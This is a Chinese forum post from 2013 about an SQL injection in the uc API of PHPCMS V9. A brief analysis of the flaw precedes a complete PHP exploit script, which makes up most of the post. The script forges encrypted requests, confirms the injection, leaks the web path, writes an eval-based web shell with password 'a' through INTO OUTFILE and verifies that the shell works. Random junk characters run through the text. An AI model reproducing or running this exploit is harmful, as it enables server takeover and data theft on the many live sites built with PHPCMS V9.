找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2025|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。6 {+ F1 l. s9 @( E8 S- t2 P* k7 Y

$ Y, n9 v% K5 T# n0 V! a所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
, T0 T: K/ n; P' ^. C' Y$ @" o, R
漏洞分析:, s2 U$ c' c: f* w2 E4 n2 V: ~
1.未启用ucenter服务的情况下uc_key为空
4 F' N& D" L( Z2 adefine('UC_KEY', pc_base::load_config('system', 'uc_key'));5 v* J6 I! |6 m  O- \2 E) D
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
4 Y2 }& _7 s* r    public function deleteuser($get,$post) {
0 b7 r' T8 E& w        pc_base::load_app_func('global', 'admin');
. u* l/ D! f9 S0 v9 H' p        pc_base::load_app_class('messagequeue', 'admin' , 0);
9 u1 E% q; W9 F1 b0 ^2 A  e7 h. A7 Y        $ids = new_stripslashes($get['ids']);  p3 Q6 R. V2 S
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
9 O& x1 I2 q% c  e# w$ sSQL语句为
" x3 J4 w7 o3 LSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)3 X4 M$ |% Z3 `( w$ H; ^
2 l/ n% D# @: R0 e% @/ C
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell' S/ w/ c$ a1 Y- E/ ~
<?php5 V2 ]1 d6 J3 s+ `( x
print_r('6 r6 Y# `- y6 a' x
---------------------------------------------------------------------------- D6 @: T, ]# R* `2 v4 h
PHPcms (v9 or Old Version) uc api sql injection 0day
, G' |1 A4 ~! j* @/ qby rayh4c#80sec.com
/ v$ x$ T. ~. w! ~- {' U---------------------------------------------------------------------------3 x, o1 f0 M* K5 X# W
');3 ]* w! e6 M9 Z8 j4 V
6 `( w7 J$ u4 q' }4 t# V
if ($argc<3) {  h3 g) @' x/ G6 }# O
    print_r('
9 J' n& D+ A3 ^# [---------------------------------------------------------------------------
3 ^* a. G1 A# fUsage: php '.$argv[0].' host path OPTIONS
, \/ `! Z. p( N9 @5 M# H" J% Q2 Yhost:      target server (ip/hostname)
+ n7 H$ M# f" z& L/ D  Opath:      path to phpcms8 C0 J* \+ {, g! I0 g
Options:8 W1 y' A; C5 H7 U8 W( q
-p[port]:    specify a port other than 80/ v/ K- t9 J# [) I  ?& q
-P[ip:port]: specify a proxy
- D5 q) x% K" ^" H0 R8 J7 eExample:
6 h2 z, G7 ^/ `8 a/ ]& u; A% ^, b6 dphp '.$argv[0].' localhost /: J/ p0 ~. z' g. A) u% e2 ~% |! N  s$ _
php '.$argv[0].' localhost /phpcms/ -p81
4 t' }* e' Q- J! @php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
' m* O+ b$ z) D; i0 T: |8 d+ D3 x---------------------------------------------------------------------------
% x. E7 ~/ r& n  |: ?');/ @& L  Y: C& H8 \# t5 R
    die;" |9 F+ n; w3 @5 _& [+ {9 L
}
' p$ b) i  ~' m: ]# U/ m6 T) |8 U
error_reporting(7);
/ h+ ^! h% z0 Y! v" @0 r3 q* k( tini_set("max_execution_time",0);4 T+ b+ w- h) G& b, G4 k2 K
ini_set("default_socket_timeout",5);$ C( [2 C. K) `! h) Z  W
' y: N# E5 k( ]4 C) q+ V
function quick_dump($string)" P7 y3 j- w. q% }0 d8 s) D
{) y& G) [+ o8 X) C3 p1 H$ O
  $result='';$exa='';$cont=0;
4 Q' `/ q) V! t4 x  for ($i=0; $i<=strlen($string)-1; $i++)  _. j! J( L5 }3 P% W
  {
0 a# T6 a" g% R8 L- {: P8 L. H   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))/ F) s' Y) X5 L4 C; n  P; ~& E
   {$result.="  .";}+ Y' q+ x  `3 ?+ ~
   else9 o7 F8 z" L3 c8 f. U$ l# V6 L
   {$result.="  ".$string[$i];}5 I3 o9 u' l+ z3 b5 @: ]
   if (strlen(dechex(ord($string[$i])))==2)
- U- E& @7 d# j6 c+ o% o/ F   {$exa.=" ".dechex(ord($string[$i]));}
' ~) w# G. p0 U! [   else
. q, m- [/ i7 I9 ?. U  y( X* I7 A   {$exa.=" 0".dechex(ord($string[$i]));}
( a: \) S) w. q/ h7 }   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}8 J* A- y- A* z5 t
  }
( u! M: D: O* @+ v return $exa."\r\n".$result;
1 A2 @& u0 f4 a' Q}- Y, G! f& Q5 W2 t# h, O$ _- i
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
0 S5 q2 F1 h8 c$ R$ Z
' q7 C) i- Y& Dfunction send($packet)
7 }4 {0 N  L/ l. h4 l{  {0 T2 {0 w1 Z) {
  global $proxy, $host, $port, $html, $proxy_regex;
. n2 u# }& r- {) s  if ($proxy=='') {* G1 n& R0 z# n" t- F
    $ock=fsockopen(gethostbyname($host),$port);
2 n1 U$ D1 e" `    if (!$ock) {" D- c/ q1 H5 v! e0 h1 M# ^$ ?1 I
      echo 'No response from '.$host.':'.$port; die;
# ]+ Q. w; j6 ~: i" p  M    }- ?# r6 L/ p0 w) L
  }
6 F/ y( S8 Q0 x- V% ~7 n- i  else {
$ U" O' q5 c% g! x* @1 G        $c = preg_match($proxy_regex,$proxy);& j5 h( ^7 L' N3 u* H
    if (!$c) {
+ Y7 q4 |# ^2 ]3 k      echo 'Not a valid proxy...';die;, F  {4 K! v; V2 P0 Y) o3 j7 s- s
    }: g$ D+ h* [9 z, S, {: N
    $parts=explode(':',$proxy);* W* @2 o4 C( j) `
    $parts[1]=(int)$parts[1];% W' P6 q5 T  p, G! }, v! z
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
( ], N9 J2 |4 C" _    $ock=fsockopen($parts[0],$parts[1]);! U6 \8 @7 W4 o! H7 T
    if (!$ock) {: m, Z  O, p/ E5 |
      echo 'No response from proxy...';die;8 a6 H+ F; q9 H
        }
% j, r7 m5 O3 F* b0 d- r3 u% N  }& O) ~7 u* O0 I8 T1 i& R# r1 a
  fputs($ock,$packet);: Q- w; g9 U& M( f
  if ($proxy=='') {6 [! D6 S4 `5 u. m' h* i, D2 x. r4 E2 O2 o
    $html='';: W' Y8 Y3 s! K0 A5 b
    while (!feof($ock)) {: J: M7 E6 C3 ?  `; v! M
      $html.=fgets($ock);/ _& W4 L; n3 B% e
    }
2 s2 S8 F/ P4 Y  ]" [/ l/ y  }
- h7 O' U% j0 a: w5 i0 Y4 m  else {! l* z' L* p5 Z2 i6 b7 A! s
    $html='';9 _( e1 r; Z' H6 k, c9 _- @$ R
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
) }5 p8 `& v& X$ D: T4 H6 Q1 J      $html.=fread($ock,1);- p" b* z' k' G8 M/ \
    }
1 w7 `1 J# e8 N  }3 u/ ~8 L: |0 u9 g: n
  fclose($ock);
* Z" d* `$ I% I5 e4 h* d( f}! O3 n' k: K. q2 X
# p& {+ {( S/ V9 t
$host=$argv[1];# a3 f5 x  n- P! |% P( p8 k' h) G
$path=$argv[2];
( D8 f- m2 p* v0 b) ^7 f) E; t/ R$port=80;; n8 F" \/ O" C) W
$proxy="";' ~+ Q  t( X# F4 v" M! ~( v
for ($i=3; $i<$argc; $i++){3 r! h9 d2 i9 h/ \( c% a' r" o
$temp=$argv[$i][0].$argv[$i][1];3 o' q' ^3 @  `: [$ ]1 {* i
if ($temp=="-p")# p8 y1 a  H6 g  A
{
+ |7 }$ P! `/ n+ H# ~5 m) {1 T  $port=(int)str_replace("-p","",$argv[$i]);
' G' h  u' c  z/ |1 s}3 W8 a6 P% g+ }) f/ R* {
if ($temp=="-P")
- D: g" k  e$ \4 ~9 @; o% @( w{  F' K2 A* k8 x0 H& g! M# h# G
  $proxy=str_replace("-P","",$argv[$i]);4 }  `1 U  b! p! k
}
8 s- B4 E; i3 D}
4 _4 U3 e& O/ G
( M$ A9 P3 f+ ~1 g+ I8 Kif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
. b+ i( z" G& W' h" K/ Cif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
/ B9 `  g6 o( Z9 J& b
# D+ f* S7 ?8 {2 R% E9 N5 Xfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {3 G; `- }+ z$ q# E2 O# p0 A

# q: C& u! L/ g* A8 h" ]1 T3 U% n    $ckey_length = 4;
0 F, n+ D, X' ]+ Z( R5 U1 U
7 `& ~; Y" Z9 N    $key = md5($key ? $key : '');8 q5 z) g, @! g1 s/ |! f
    $keya = md5(substr($key, 0, 16));) h  [4 L3 W$ k+ T/ b+ o9 t, q
    $keyb = md5(substr($key, 16, 16));: I1 {- s: t+ f  T) v
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';0 K. F) I" m7 l
4 e, s! f6 e2 l8 t
    $cryptkey = $keya.md5($keya.$keyc);
9 ~: [. d2 N7 T    $key_length = strlen($cryptkey);- F) g' X/ P' G( Z, k# k9 E
1 [/ `  Z" ^2 S/ s# |! j
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;' J, k4 A  |3 K$ ~" f/ r# O1 O; O' C  o
    $string_length = strlen($string);( l2 i) Z0 Y2 Y% ?' R' [4 K7 S
  N2 r; M& ^; `6 }8 r7 x
    $result = '';, A( o9 e1 L5 y, Z8 K0 H3 v3 m8 j
    $box = range(0, 255);
6 M: G3 s; A7 Z- b* u  w$ F
  G* i) i* M+ d5 v% D    $rndkey = array();
- R3 Q6 z0 Y: b3 k; A: T  E/ }    for($i = 0; $i <= 255; $i++) {
' r- G% |7 n# s2 O        $rndkey[$i] = ord($cryptkey[$i % $key_length]);0 y$ X" ^' D/ x
    }. j% P6 Y6 U8 b* m+ P" q5 E. h
- I- B" t: {9 d8 Z& w: O6 P9 c$ W1 o% Y
    for($j = $i = 0; $i < 256; $i++) {
! |+ Z# j' k; h* F        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
: J8 o4 Q' g/ U        $tmp = $box[$i];$ U: z* _. d) j0 i8 V
        $box[$i] = $box[$j];" w  h( {4 J9 @- e+ ?0 S
        $box[$j] = $tmp;
/ C: F" X' e% ^* T  K    }
1 n8 q9 j4 }* t4 T
- A0 }/ A' s- l    for($a = $j = $i = 0; $i < $string_length; $i++) {
6 o% x9 y  r7 F" |* \: ?+ y5 V0 W        $a = ($a + 1) % 256;
& X% B  |$ F, I8 h        $j = ($j + $box[$a]) % 256;
. y4 f2 i0 n, q3 _& ~        $tmp = $box[$a];
) v: D8 ?$ T; `# F        $box[$a] = $box[$j];0 G/ W: p* e/ E+ ]( y: d
        $box[$j] = $tmp;- S6 j7 m* x+ Y% A: c) Z
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));- w/ b) R) N$ F
    }
7 J$ Q6 r  E" c. Y0 ?: |# Z4 c: O* f' ~
    if($operation == 'DECODE') {" D, f3 M5 [% W( O
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {, z9 d3 `" B/ X2 ^* D3 T
            return substr($result, 26);3 W# X! W3 U. l% h4 ]
        } else {+ y" I* x! K! |- s
            return '';
1 x- W* e* z3 k( ]8 j+ T        }
! n& T  L1 n3 X7 d% v! N% S# G    } else {1 O7 F, g& }9 D
        return $keyc.str_replace('=', '', base64_encode($result));
0 \7 D9 r4 E2 P: |( T+ [8 e- }1 Q    }
8 @  O" Y; g* \% p
, M% H: y. H7 g: O}
$ l% D9 S# N& c+ S8 U1 ^. Y, o; K2 l  ~
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
8 ?3 p3 q1 C  V* N$SQL = urlencode(authcode($SQL, "ENCODE", ""));: U* Z5 G5 ?- M4 C. L/ A0 r
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";$ J, u+ f* t$ n: [4 w  I
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
) |9 }- I& {' ^$packet.="User-Agent: Mozilla/5.0\r\n";1 G9 B5 d/ a* V0 p  F& c; [
$packet.="Host: ".$host."\r\n";
/ F  Q- b) q, Z" }) o2 m) ?6 D; f, h$packet.="Connection: Close\r\n\r\n";
' M8 x. Y/ H4 d4 i( bsend($packet);
, A: Z; y  B* p" Wif(strpos($html,"MySQL Errno") > 0){
" ^2 |8 z3 D8 M) s2 Uecho "[2] 发现存在SQL注入漏洞"."\n";7 i+ X- ^, x# k& I/ T2 L) {! d% c
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";5 A5 o7 }9 n/ Q+ Z% G. F2 p  i
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";7 k  |* w/ `8 ?, P
$packet.="User-Agent: Mozilla/5.0\r\n";& c9 q* u+ `9 l" [9 c
$packet.="Host: ".$host."\r\n";
: w, l0 m1 Y" ^/ Q( \: m+ f8 ^$packet.="Connection: Close\r\n\r\n";. ~+ d: v7 w  r" L* m; h& Q* o
send($packet);
2 C( c) A3 p1 ?  [preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);3 @4 Q2 i( e7 L$ ^6 p, x% o
//print_r($matches);
) Q0 R2 e8 T; U& Z( L7 ]9 k. yif(!empty($matches)){2 e/ F: L" j( E6 k1 Q" b
echo "[4] 得到web路径 " . $matches[0]."\n";8 h( n# ~2 C! M* _( H4 ^8 f. ^
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
. Y7 y. ~8 c$ r0 d$SQL = "time=999999999999999999999999&ids=1)";
, M5 R8 r3 `" d$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";, V3 d1 P3 m6 _- x& R
$SQL.="&action=deleteuser";
/ d% @! j! I8 o1 A$SQL = urlencode(authcode($SQL, "ENCODE", ""));  G( L/ U0 j! W; {
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
, y7 d4 }, X6 k$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
) @! s; _$ v! ?$packet.="User-Agent: Mozilla/5.0\r\n";9 o% F+ t2 V% E0 H1 w) O
$packet.="Host: ".$host."\r\n";; b9 i7 o' Q9 ?" N) A' v/ M
$packet.="Connection: Close\r\n\r\n";* K8 J5 y9 y5 U7 l  u4 V
send($packet);0 n, k. X- w" I) C/ p+ r0 A
if(strpos($html,"Access denied") > 0){5 P/ Q# W$ ^# N$ ^# Y
echo "[-] MYSQL权限过低 禁止写入文件 ";) [. J  x1 c5 z$ O" y
die;
- A! J6 r! y6 u, l' j/ P$ B, y% V}
) d2 \' R5 K! i) N6 M3 R7 s) qecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
; Y3 m# f' N2 e$ F7 T+ n0 p$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
) P4 }5 L: s7 v2 C9 x$packet.="User-Agent: Mozilla/5.0\r\n";
3 y+ U: `5 n' L# X. T" S% W9 K% P$packet.="Host: ".$host."\r\n";( y- Z  Y6 H! {
$packet.="Connection: Close\r\n\r\n";. `: @+ _* L) K) v
send($packet);, E! q0 S7 j1 z' I6 c. r; q
if(strpos($html,"<title>phpinfo()</title>") > 0){# p( A  C9 n" R0 d6 X. V
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";+ t( l* ?% X2 w) B& S5 D
}
' D! L9 ?( h: v( P; G}else{
# e+ f6 d; s! Yecho "[-]未取到web路径 ";1 E3 l( U- N* B, v( C
}  D2 j3 Z6 |& T2 B1 x6 I0 w
}else{
0 z! k2 a$ Z3 t4 l. t# Zecho "[*]不存在SQL注入漏洞"."\n";3 @; e( |7 j% v6 h
}- K6 [3 J' Z$ J! u) [% b* L
& c+ f2 f  e  S) D2 ~! J" s3 }
?>
* O% R+ ]% O4 t/ C0 `) \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表